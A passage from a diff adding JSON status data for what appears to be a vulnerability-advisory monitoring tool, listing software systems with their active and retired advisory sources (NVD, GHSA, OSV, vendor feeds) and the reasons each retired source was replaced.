"research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "category": "ecommerce", + "tier": "history-full", + "source_total": 5, + "active_source_total": 4, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 2, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "react", + "display_name": "React", + "category": "frameworks", + "tier": "history-full", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "category": "ecommerce", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "category": "ecommerce", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "spring-boot", + "display_name": "Spring Boot", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "spring-framework", + "display_name": "Spring Framework", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "spring-security", + "display_name": "Spring Security", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "strapi", + "display_name": "Strapi", + "category": "cms", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 2, + "retired_source_total": 0, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "sveltekit", + "display_name": "SvelteKit", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "symfony", + "display_name": "Symfony", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "traefik", + "display_name": "Traefik", + "category": "servers", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "undici", + "display_name": "Undici", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "vite", + "display_name": "Vite", + "category": "frameworks", + "tier": "history-full", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "vue", + "display_name": "Vue", + "category": "frameworks", + "tier": "history-full", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "webpack", + "display_name": "webpack", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "werkzeug", + "display_name": "Werkzeug", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "category": "ecommerce", + "tier": "history-full", + "source_total": 6, + "active_source_total": 5, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 3, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "wordpress", + "display_name": "WordPress", + "category": "cms", + "tier": "history-full", + "source_total": 6, + "active_source_total": 5, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 3, + "research_active": 1, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + } + ], + "retired_sources": [ + { + "system_id": "adminer", + "display_name": "Adminer", + "source_name": "NVD Adminer", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Adminer provides a machine-readable Packagist-aligned source, removing the need for NVD public search.", + "replacement_sources": [ + "OSV Adminer" + ], + "url": "" + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Adobe Security Bulletins", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Original bulletin index probe was unstable under the old transport path; vendor index replacement uses explicit request policy and parser hints.", + "replacement_sources": [ + "Adobe Magento Security Index", + "NVD Adobe Commerce", + "GHSA Adobe Commerce" + ], + "url": "https://helpx.adobe.com/security/products/magento.html" + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "GHSA Adobe Commerce", + "bucket": "ecosystem_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Adobe index and NVD remain active replacements.", + "replacement_sources": [ + "Adobe Magento Security Index", + "NVD Adobe Commerce" + ], + "url": "" + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "NVD Adobe Commerce", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Adobe Magento Security Index is now the active official machine-readable source, so NVD public search is no longer needed for daily collection.", + "replacement_sources": [ + "Adobe Magento Security Index" + ], + "url": "" + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Sansec Research", + "bucket": "ecosystem_sources", + "kind": "vendor-index", + "retired_reason": "Research index is too slow for daily active monitoring; GHSA Adobe Commerce provides a stable machine-readable replacement.", + "replacement_sources": [ + "GHSA Adobe Commerce", + "Adobe Magento Security Index" + ], + "url": "https://sansec.io/research" + }, + { + "system_id": "angular", + "display_name": "Angular", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Angular remains the active replacement source.", + "replacement_sources": [ + "OSV Angular" + ], + "url": "" + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "NVD Apache HTTP Server", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Official Apache HTTPD advisories page plus CISA KEV are sufficient active sources for daily monitoring.", + "replacement_sources": [ + "Apache HTTPD Security", + "CISA KEV Apache HTTPD" + ], + "url": "" + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "NVD Tomcat", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Official Tomcat advisories page plus CISA KEV are sufficient active sources for daily monitoring.", + "replacement_sources": [ + "Apache Tomcat Security", + "CISA KEV Tomcat" + ], + "url": "" + }, + { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "source_name": "NVD ASP.NET Core", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV ASP.NET Core provides machine-readable NuGet-aligned coverage with lower latency than NVD public search.", + "replacement_sources": [ + "OSV ASP.NET Core" + ], + "url": "" + }, + { + "system_id": "astro", + "display_name": "Astro", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Astro remains the active replacement source.", + "replacement_sources": [ + "OSV Astro" + ], + "url": "" + }, + { + "system_id": "caddy", + "display_name": "Caddy", + "source_name": "GitHub Caddy Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Caddy is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Caddy" + ], + "url": "https://github.com/caddyserver/caddy/security/advisories" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Meta Security", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Meta security category HTML changed and no longer provides stable scrape semantics for health checks.", + "replacement_sources": [ + "Discourse Release Notes RSS", + "GitHub Discourse Advisories" + ], + "url": "https://meta.discourse.org/c/bug/security/40" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "GitHub Discourse Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Discourse release feed remains the active official source.", + "replacement_sources": [ + "Discourse Release Notes RSS", + "Discourse Security RSS" + ], + "url": "" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security RSS", + "bucket": "official_sources", + "kind": "rss-feed", + "retired_reason": "Official security tag feed became unstable; use official weblog index and release archive instead.", + "replacement_sources": [ + "Django Security Weblog", + "Django Security Releases Archive" + ], + "url": "https://www.djangoproject.com/weblog/feeds/tags/security/" + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "NVD Drupal", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Drupal + Drupal official RSS now cover machine-readable collection with lower cold-start latency than NVD public search.", + "replacement_sources": [ + "Drupal Security Advisories RSS", + "OSV Drupal" + ], + "url": "" + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV esbuild remains the active replacement source.", + "replacement_sources": [ + "OSV esbuild" + ], + "url": "" + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "NVD esbuild", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV esbuild replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV esbuild" + ], + "url": "" + }, + { + "system_id": "express", + "display_name": "Express", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Express remains the active replacement source.", + "replacement_sources": [ + "OSV Express" + ], + "url": "" + }, + { + "system_id": "express", + "display_name": "Express", + "source_name": "NVD Express.js", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV Express replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV Express" + ], + "url": "" + }, + { + "system_id": "fastify", + "display_name": "Fastify", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Fastify remains the active replacement source.", + "replacement_sources": [ + "OSV Fastify" + ], + "url": "" + }, + { + "system_id": "flask", + "display_name": "Flask", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Flask remains the active machine-readable source.", + "replacement_sources": [ + "OSV Flask" + ], + "url": "" + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "NVD Ghost", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Ghost replaces NVD for machine-readable collection and keeps npm package alignment.", + "replacement_sources": [ + "Ghost GitHub Advisories", + "OSV Ghost" + ], + "url": "" + }, + { + "system_id": "gitea", + "display_name": "Gitea", + "source_name": "GitHub Gitea Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Gitea is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Gitea" + ], + "url": "https://github.com/go-gitea/gitea/security/advisories" + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Security Releases", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "GitLab Security Releases Atom is the official machine-readable replacement; keeping both active adds duplicate cold-start cost without added coverage.", + "replacement_sources": [ + "GitLab Security Releases Atom" + ], + "url": "https://about.gitlab.com/releases/categories/releases/" + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "NVD GitLab", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "GitLab Security Releases Atom provides an official machine-readable feed, so NVD public search is no longer required.", + "replacement_sources": [ + "GitLab Security Releases", + "GitLab Security Releases Atom" + ], + "url": "" + }, + { + "system_id": "hapi", + "display_name": "Hapi", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Hapi remains the active replacement source.", + "replacement_sources": [ + "OSV Hapi" + ], + "url": "" + }, + { + "system_id": "haproxy", + "display_name": "HAProxy", + "source_name": "HAProxy Security Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Legacy haproxy.org security page no longer yields stable scrape results for monitoring.", + "replacement_sources": [ + "HAProxy Blog Feed" + ], + "url": "https://www.haproxy.org/security/" + }, + { + "system_id": "haproxy", + "display_name": "HAProxy", + "source_name": "NVD HAProxy", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "HAProxy Blog Feed is an active official RSS source, so NVD public search is no longer required.", + "replacement_sources": [ + "HAProxy Blog Feed" + ], + "url": "" + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "Jenkins Security Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Jenkins Security Advisories RSS is the official machine-readable replacement; keeping both active adds duplicate cold-start cost without added coverage.", + "replacement_sources": [ + "Jenkins Security Advisories RSS" + ], + "url": "https://www.jenkins.io/security/advisories/" + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "NVD Jenkins", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Jenkins Security Advisories RSS provides an official machine-readable feed, replacing NVD public search.", + "replacement_sources": [ + "Jenkins Security Advisories", + "Jenkins Security Advisories RSS" + ], + "url": "" + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "NVD Joomla", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Joomla CMS replaces NVD for machine-readable collection without public NVD throttling.", + "replacement_sources": [ + "Joomla Security Centre", + "OSV Joomla" + ], + "url": "" + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "Elastic Security Announcements", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Elastic Security Announcements RSS is the official machine-readable replacement; keeping both active adds duplicate cold-start cost without added coverage.", + "replacement_sources": [ + "Elastic Security Announcements RSS" + ], + "url": "https://discuss.elastic.co/c/announcements/security-announcements/31" + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "NVD Kibana", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Elastic Security Announcements RSS provides an official machine-readable feed, replacing NVD public search.", + "replacement_sources": [ + "Elastic Security Announcements", + "Elastic Security Announcements RSS" + ], + "url": "" + }, + { + "system_id": "koa", + "display_name": "Koa", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Koa remains the active replacement source.", + "replacement_sources": [ + "OSV Koa" + ], + "url": "" + }, + { + "system_id": "laravel", + "display_name": "Laravel", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Laravel remains the active machine-readable source.", + "replacement_sources": [ + "OSV Laravel" + ], + "url": "" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "NVD Magento", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Magento Open Source plus Magento GitHub advisories replace NVD public search for machine-readable collection.", + "replacement_sources": [ + "Magento GitHub Advisories", + "OSV Magento Open Source" + ], + "url": "" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "Mattermost Security Updates", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Mattermost security updates page returned repeated 403 responses from the collector path; NVD replacement remains active.", + "replacement_sources": [ + "NVD Mattermost" + ], + "url": "https://mattermost.com/security-updates/" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "NVD Mattermost", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Mattermost official JSON feed plus OSV Mattermost replace NVD for lower-latency machine-readable collection.", + "replacement_sources": [ + "Mattermost Security Updates JSON", + "OSV Mattermost" + ], + "url": "" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "MediaWiki Security Releases", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "MediaWiki security page is no longer reachable reliably from the collector path; NVD replacement remains active.", + "replacement_sources": [ + "MediaWiki Announce RSS", + "NVD MediaWiki" + ], + "url": "https://www.mediawiki.org/wiki/Security" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "NVD MediaWiki", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "MediaWiki announce RSS plus OSV MediaWiki now replace NVD for lower-latency machine-readable collection.", + "replacement_sources": [ + "MediaWiki Announce RSS", + "OSV MediaWiki" + ], + "url": "" + }, + { + "system_id": "medusa", + "display_name": "Medusa", + "source_name": "GitHub Medusa Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Medusa is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Medusa" + ], + "url": "https://github.com/medusajs/medusa/security/advisories" + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "Moodle Security News", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "Security page is reachable with a browser-style UA, but the current markup only exposes generic \"Discuss this topic\" anchors to the collector; NVD Moodle remains the active replacement source until a richer parser is added.", + "replacement_sources": [ + "NVD Moodle" + ], + "url": "https://moodle.org/security/" + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "NVD Moodle", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Moodle replaces NVD for machine-readable collection while official Moodle sources remain for cross-checking.", + "replacement_sources": [ + "OSV Moodle" + ], + "url": "" + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV NestJS remains the active replacement source.", + "replacement_sources": [ + "OSV NestJS" + ], + "url": "" + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "NVD NestJS", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV NestJS replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV NestJS" + ], + "url": "" + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; GitHub Next.js Advisories and OSV Next.js remain active replacements.", + "replacement_sources": [ + "GitHub Next.js Advisories", + "OSV Next.js" + ], + "url": "" + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "GitHub Next.js Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Next.js is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Next.js" + ], + "url": "https://github.com/vercel/next.js/security/advisories" + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "NVD NGINX", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Official NGINX advisories page and CISA KEV together provide the needed daily signal without NVD public-search latency.", + "replacement_sources": [ + "NGINX Security Advisories", + "CISA KEV NGINX" + ], + "url": "" + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Nuxt Security and OSV Nuxt remain active replacements.", + "replacement_sources": [ + "Nuxt Security", + "OSV Nuxt" + ], + "url": "" + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "Nuxt Security", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Nuxt is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Nuxt" + ], + "url": "https://github.com/nuxt/nuxt/security/advisories" + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "NVD OpenCart", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV OpenCart replaces NVD for machine-readable collection while official release source remains active.", + "replacement_sources": [ + "OpenCart Releases", + "OSV OpenCart" + ], + "url": "" + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "NVD OpenMage", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV OpenMage replaces NVD for machine-readable composer-aligned collection.", + "replacement_sources": [ + "OpenMage GitHub Advisories", + "OSV OpenMage" + ], + "url": "" + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "NVD phpMyAdmin", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV phpMyAdmin replaces NVD for machine-readable collection while the official security page remains active.", + "replacement_sources": [ + "phpMyAdmin Security Page", + "OSV phpMyAdmin" + ], + "url": "" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "NVD PrestaShop", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV PrestaShop replaces NVD for machine-readable collection while official and ecosystem advisories remain active.", + "replacement_sources": [ + "PrestaShop Security Page", + "GitHub PrestaShop Advisories", + "OSV PrestaShop" + ], + "url": "" + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Rails remains the active machine-readable source.", + "replacement_sources": [ + "OSV Rails" + ], + "url": "" + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "NVD Ruby on Rails", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV Rails replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV Rails" + ], + "url": "" + }, + { + "system_id": "react", + "display_name": "React", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; GitHub React Advisories and OSV React remain active replacements.", + "replacement_sources": [ + "GitHub React Advisories", + "OSV React" + ], + "url": "" + }, + { + "system_id": "react", + "display_name": "React", + "source_name": "GitHub React Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV React is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV React" + ], + "url": "https://github.com/facebook/react/security/advisories" + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "NVD Redmine", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "Official Redmine advisories page remains active and NVD public search is retired to reduce cold-start latency.", + "replacement_sources": [ + "Redmine Security Advisories" + ], + "url": "" + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "NVD Saleor", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Saleor replaces NVD for machine-readable collection and aligns with the published PyPI package.", + "replacement_sources": [ + "GitHub Saleor Advisories", + "OSV Saleor" + ], + "url": "" + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "NVD Shopware", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV Shopware replaces NVD for machine-readable collection with lower cold-start overhead.", + "replacement_sources": [ + "Shopware Security Advisories", + "OSV Shopware" + ], + "url": "" + }, + { + "system_id": "spring-boot", + "display_name": "Spring Boot", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; Spring official page and OSV remain the active replacements.", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Boot" + ], + "url": "" + }, + { + "system_id": "spring-framework", + "display_name": "Spring Framework", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Spring official page and OSV remain the active replacements.", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Framework" + ], + "url": "" + }, + { + "system_id": "spring-security", + "display_name": "Spring Security", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; Spring official page and OSV remain the active replacements.", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Security" + ], + "url": "" + }, + { + "system_id": "sveltekit", + "display_name": "SvelteKit", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV SvelteKit remains the active replacement source.", + "replacement_sources": [ + "OSV SvelteKit" + ], + "url": "" + }, + { + "system_id": "symfony", + "display_name": "Symfony", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Symfony remains the active machine-readable source.", + "replacement_sources": [ + "OSV Symfony" + ], + "url": "" + }, + { + "system_id": "traefik", + "display_name": "Traefik", + "source_name": "GitHub Traefik Advisories", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Traefik is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Traefik" + ], + "url": "https://github.com/traefik/traefik/security/advisories" + }, + { + "system_id": "undici", + "display_name": "Undici", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Undici remains the active replacement source.", + "replacement_sources": [ + "OSV Undici" + ], + "url": "" + }, + { + "system_id": "undici", + "display_name": "Undici", + "source_name": "NVD Undici", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV Undici replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV Undici" + ], + "url": "" + }, + { + "system_id": "vite", + "display_name": "Vite", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Vite Security and OSV Vite remain active replacements.", + "replacement_sources": [ + "Vite Security", + "OSV Vite" + ], + "url": "" + }, + { + "system_id": "vite", + "display_name": "Vite", + "source_name": "Vite Security", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Vite is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Vite" + ], + "url": "https://github.com/vitejs/vite/security/advisories" + }, + { + "system_id": "vue", + "display_name": "Vue", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Vue Security and OSV Vue remain active replacements.", + "replacement_sources": [ + "Vue Security", + "OSV Vue" + ], + "url": "" + }, + { + "system_id": "vue", + "display_name": "Vue", 